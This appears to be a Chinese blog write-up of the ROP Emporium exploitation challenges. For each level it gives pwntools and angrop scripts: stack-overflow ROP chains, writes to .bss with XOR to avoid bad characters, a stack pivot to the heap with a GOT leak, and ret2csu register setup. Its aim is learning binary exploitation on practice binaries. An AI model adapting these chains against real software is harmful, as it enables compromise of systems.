misc是没前途的!是时候开始重新学下pwn了!

ret2win

最简单的栈溢出,没有任何保护

给了一个shell,直接写shell地址就好。

Python
from pwn import *context.log_level = "debug"elf = ELF("./ret2win")p = process(["orb", "./ret2win"])payload = b"A" * 0x28 + p64(elf.symbols["ret2win"])p.sendlineafter(b"> ", payload)p.interactive()

split

这里是一样的,多了一个string地址,需要用pop方式清空掉rdi,然后再调用。

所以rop链是什么?把返回地址覆盖掉,程序会依次调到你构造的rop地址然后(ret; gadget加上之后会返回到原来的地址)。

这里尝试用一下angrop,感觉未来做普通rop题都能用了。

Python
from pwn import *import angr, angropfrom multiprocessing import cpu_countcpu_num = cpu_count()if __name__ == "__main__":    p = angr.Project("./split", auto_load_libs=False)    rop = p.analyses.ROP()    cache = "./angrop.cache"    if os.path.exists(cache):        rop.load_gadgets(cache, optimize=False)    else:        rop.find_gadgets(processes=cpu_num, optimize=False)        rop.save_gadgets(cache)    ch = rop.set_regs(rdi=0x601060) + \            rop.func_call(0x400560, [])        print(ch.payload_code())    chain = b""    chain += p64(0x4007c3)  # pop rdi; ret     chain += p64(0x601060)    chain += p64(0x400560)  # <func_0x40074b>    p = process(["orb", "./split"])    p.sendlineafter(b"> ", b"A" * 0x28 + chain)    p.interactive()

callme

这个明显可以直接逆向了()

但是如果要用程序自执行的话,我们需要依次调用so文件里的callme_one, callme_two, callme_three。

Python
import angr, angropimport logginglogging.getLogger().handlers.clear()logging.basicConfig(level=logging.CRITICAL)from pwn import *context.log_level = "error"if __name__ == "__main__":            elf = angr.Project("./callme", auto_load_libs=True)    ELF = ELF("./callme")    rop = elf.analyses.ROP()    rop.find_gadgets()    cache = "./angrop.cache"    if os.path.exists(cache):        rop.load_gadgets(cache, optimize=False)    else:        rop.find_gadgets(optimize=False)        rop.save_gadgets(cache)    callme_one = ELF.symbols["callme_one"]    callme_two = ELF.symbols["callme_two"]    callme_three = ELF.symbols["callme_three"]    print(f"callme_one: {hex(callme_one)}")    print(f"callme_two: {hex(callme_two)}")    print(f"callme_three: {hex(callme_three)}")    ch = rop.func_call(callme_one, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \         rop.func_call(callme_two, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \         rop.func_call(callme_three, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D])    print(ch.payload_code())    p = process(["orb", "./callme"])    p.sendlineafter(b"> ", b"A" * 0x28 + ch.payload_str())    p.interactive()

write4

需要把文件名写到bss段里。

不过有了angrop的话,想来以后rop题基本上找到leak就能直接出了吧。

Python
import angr, angropfrom pwn import *context.log_level = "error"if __name__ == "__main__":    elf = angr.Project("./write4", auto_load_libs=True)    ELF = ELF("./write4")    rop = elf.analyses.ROP()    rop.find_gadgets(processes=1)    cache = "./angrop.cache"    if os.path.exists(cache):        rop.load_gadgets(cache, optimize=False)    else:        rop.find_gadgets(optimize=False)        rop.save_gadgets(cache)    bss = ELF.bss()    print(bss)    chain = rop.write_to_mem(bss + 0x0, b"flag.txt") + \            rop.func_call(ELF.symbols["print_file"], [bss])    print(chain)    payload = b"A" * 0x28 + chain.payload_str()    p = process(["orb", "./write4"])    p.sendline(payload)    p.interactive()

badchars

加了过滤,我们随便写一段字符串然后用xor放进去就行。

这里xor是我自己改出来的(,可能交个pr给angrop?

Python
import osimport angrimport angrop  # noqa: F401from pwn import *context.log_level = "error"if __name__ == "__main__":    proj = angr.Project("./badchars", auto_load_libs=False)    elf = ELF("./badchars")    rop = proj.analyses.ROP()    rop.set_badbytes([ord("x"), ord("g"), ord("a"), ord(".")])    cache = "./angrop.cache"    if os.path.exists(cache):        rop.load_gadgets(cache, optimize=False)    else:        rop.find_gadgets(optimize=False)        rop.save_gadgets(cache)    bss = elf.bss()    print(f".bss addr: {hex(bss)}")    bad_chars = {ord("x"), ord("g"), ord("a"), ord(".")}    data =     b"flag.txt"    new_data = b"flbhbtyt"    chain = rop.write_to_mem(bss, new_data)    for i in range(len(data)):        if data[i] in bad_chars:            chain += rop.xor_mem(bss + i, data[i] ^ new_data[i], data_size=8)    chain += rop.func_call(elf.symbols["print_file"], [bss])    print(chain)    payload = b"A" * 0x28 + chain.payload_str()    p = process(["orb", "./badchars"])    p.sendline(payload)    p.interactive()

fluff

这个看起来自动化不太能做。用了很多奇怪的指令并不是常见的东西。当然比赛一般不会这么搞,所以还是手搓下吧。

xlat:以al为偏移,索引bx指向内存中的字节,可以用来从内存里取字节,需要al和bx的值可控

bextr:位域索引,第一个源操作数是原数据,第二个源操作数是索引开始位置(8位)和长度,这里可以控制rbx的值

stosb可以保存1个字节从al到rdi指向的地址,rdi可以控制,设置为随便一个可写地址就行。不给代码了可以去看别人写的。我写得好烂

pivot

这里给了个堆指针 + 一个短很多的栈溢出。所以我们需要ret2heap,然后heap上写我们的rop chain。需要注意我们现在没有ret2win的地址(在so里面),需要用foothold_function打印plt表。

注意这里是一种新方法:因为第二次输入的只有0x40,不够覆盖太多内容,我们需要把栈迁移到第一次输入的地方然后再执行。

唉,写poc还是太麻烦了。

Python
from pwn import *context.log_level = "error"import osimport angrimport angrop  # noqa: F401context.terminal = ["tmux", "splitw", "-h"]if __name__ == "__main__":    proj = angr.Project("./pivot", auto_load_libs=False)    elf = ELF("./pivot")    lib = ELF("./libpivot.so")    rop = proj.analyses.ROP()    cache = "./angrop.cache"    if os.path.exists(cache):        rop.load_gadgets(cache, optimize=False)    else:        rop.find_gadgets(optimize=False)        rop.save_gadgets(cache)    p = process(["orb", "qemu-x86_64",  "./pivot"])    p.recvuntil(b"pivot: ")    pivot_addr = int(p.recvline().strip(), 16)    print(f"pivot address: {hex(pivot_addr)}")    bss = elf.bss()    print(f".bss addr: {hex(bss)}")    chain_heap = rop.func_call(elf.symbols["foothold_function"], [])    chain_heap += rop.func_call(elf.symbols["puts"], [elf.got["foothold_function"]]) # then recv plt table -> get ret2win    chain_heap += rop.func_call(elf.symbols["main"], []) # return to main to read again    print(chain_heap)    p.sendlineafter(b"> ", chain_heap.payload_str())    chain_stack1 = rop.pivot(pivot_addr  + 0x8)    print(chain_stack1)    p.sendlineafter(b"> ", b"A" * 0x28 + chain_stack1.payload_str())    p.recvuntil(b"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n")    leaked = p.recvuntil(b"\n", drop=True)    leaked = u64(leaked.ljust(8, b"\x00"))    print(f"leaked foothold_function addr: {hex(leaked)}")    libpivot_foothold = lib.symbols["foothold_function"]    libpivot_ret2win = lib.symbols["ret2win"]    offset = libpivot_ret2win - libpivot_foothold    ret2win_addr = leaked + offset    print(f"ret2win addr: {hex(ret2win_addr)}")    chain_heap2 = rop.func_call(ret2win_addr, [])    print(chain_heap2)    p.sendlineafter(b"> ", chain_heap.payload_str())    p.sendlineafter(b"> ", b"A" * 0x28+ chain_heap2.payload_str())    print(p.recvall(timeout=1).decode())

ret2scu

这个就似乎不太能用angrop这种自动化工具了(当然比赛也很少有这种苛刻的条件吧?)

需要先用下面的pop设置寄存器,在用上面的680开始的一段设置rdx和rax。

Python
from pwn import *context.log_level = "error"import osimport angrimport angrop  # noqa: F401context.terminal = ["tmux", "splitw", "-h"]if __name__ == "__main__":    proj = angr.Project("./ret2csu", auto_load_libs=False)    elf = ELF("./ret2csu")    lib = ELF("./libret2csu.so")    rop = proj.analyses.ROP()    cache = "./angrop.cache"    if os.path.exists(cache):        rop.load_gadgets(cache, optimize=False)    else:        rop.find_gadgets(optimize=False)        rop.save_gadgets(cache)    # chain = rop.set_regs(rdi=0xDEADBEEFDEADBEEF, rsi=0xCAFEBABECAFEBABE, rdx=0xD00DF00DD00DF00D)    chain = rop.set_regs(rbx=0, rbp=1, r12=0x000000000600E48, r13=0xdeadbeefdeadbeef, r14=0xcafebabecafebabe, r15=0xd00df00dd00df00d)    chain.add_value(0xdeadbeefdeadbeef)    chain.add_value(0x400680)    chain.add_value(0x0)    chain.add_value(0x0)    chain.add_value(0x0)    chain.add_value(0x0)    chain.add_value(0x0)    chain.add_value(0x0)    chain.add_value(0x0)    chain.add_value(0x4006a3)    chain += rop.set_regs(rdi=0xDEADBEEFDEADBEEF)    chain += rop.func_call(elf.symbols["ret2win"], [])    print(chain)    p = process(["orb","qemu-x86_64","./ret2csu"])    p.sendlineafter(b"> ",b"A" * 0x28 + chain.payload_str())    p.interactive()